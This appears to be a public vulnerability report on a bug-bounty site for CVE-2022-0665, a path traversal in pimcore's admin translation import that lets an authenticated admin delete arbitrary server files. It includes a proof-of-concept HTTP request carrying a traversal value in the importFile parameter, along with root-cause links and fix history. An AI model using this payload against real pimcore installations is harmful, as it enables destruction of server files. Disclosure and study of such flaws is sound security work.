Path Traversal in pimcore/pimcore

Valid Reported on Feb 10th 2022

0

Description

The application doesn't perform a check/filter against the value of "importFile" parameter at endpoint "/admin/translation/import". After the API is executed, PHP unlink function will proceed to delete the file.

Proof of Concept

Step 1: Login as admin at https://10.x-dev.pimcore.fun/admin.
Step 2: Using burpsuite to proxy request. Go to Settings -> Admin Translations -> Import & Merge CSV
Step 3: Edit value of importFile in request call to /admin/translation/import

```
POST /admin/translation/import?merge=2 HTTP/1.1
Host: 10.x-dev.pimcore.fun
Cookie: pimcore_admin_sid=1; _pc_tss=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/201001
Accept: */*
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://10.x-dev.pimcore.fun/admin/?_dc=1644481466&perspective=
X-Pimcore-Csrf-Token: 3940b07522d199209cfd8b6083f0959e0f907449
X-Pimcore-Extjs-Version-Major: 7
X-Pimcore-Extjs-Version-Minor: 0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 263
Origin: https://10.x-dev.pimcore.fun
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
```

Chat with us

```
TE: trailers
Connection: close

importFile=../../../../../../../../../var/www/html/vendor/pimcore/pimcore/l
```

Step 4: Logout and go to https://10.x-dev.pimcore.fun/admin, you will see error "Failed opening '/var/www/html/vendor/composer/../pimcore/pimcore/lib/Model/AbstractModel.php' for inclusion". Sorry for my mistake, can you revert https://10.x-dev.pimcore.fun.
PoC:
https://drive.google.com/file/d/17EtF8I3ChKL14uDxaelBa0GLeHq6APjy
https://drive.google.com/file/d/1JnffQheSMgnKeAaQjYQxMHxDwCS3UA80

Root-cause:

Path traversal:
https://github.com/pimcore/pimcore/blob/master/bundles/AdminBundle/Controller/Admin/TranslationController.php#L71
File delete:
https://github.com/pimcore/pimcore/blob/master/bundles/AdminBundle/Controller/Admin/TranslationController.php#L95

Impact

Attacker can delete any file on the server (successful file deletion depends on the current user is running web service)

Occurrences

TranslationController.php L64-L97

CVE
CVE-2022-0665
(Published)

Vulnerability Type
CWE-22: Path Traversal

Severity
Medium (4.9)

Visibility

Chat with us

Visibility
Public

Status
Fixed

Found by

nhiephon
@nhiephon
master

Fixed by

Divesh Pahuja
@dvesh3
maintainer

This report was seen 521 times.

We are processing your report and will contact the **pimcore** team within 24 hours. 10 months ago

We have contacted a member of the **pimcore** team and are waiting to hear back 10 months ago

We have sent a follow up to the **pimcore** team. We will try again in 7 days. 9 months ago

JiaJia Ji validated this vulnerability 9 months ago

nhiephon has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

We have sent a fix follow up to the **pimcore** team. We will try again in 7 days. 9 months ago

Divesh Pahuja marked this as fixed in **10.3.2** with commit **289456** 9 months ago

Divesh Pahuja has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

Chat with us

TranslationController.php#L64-L97 has been validated ✔

Sign in to join this conversation

2022 © 418sec

Chat with us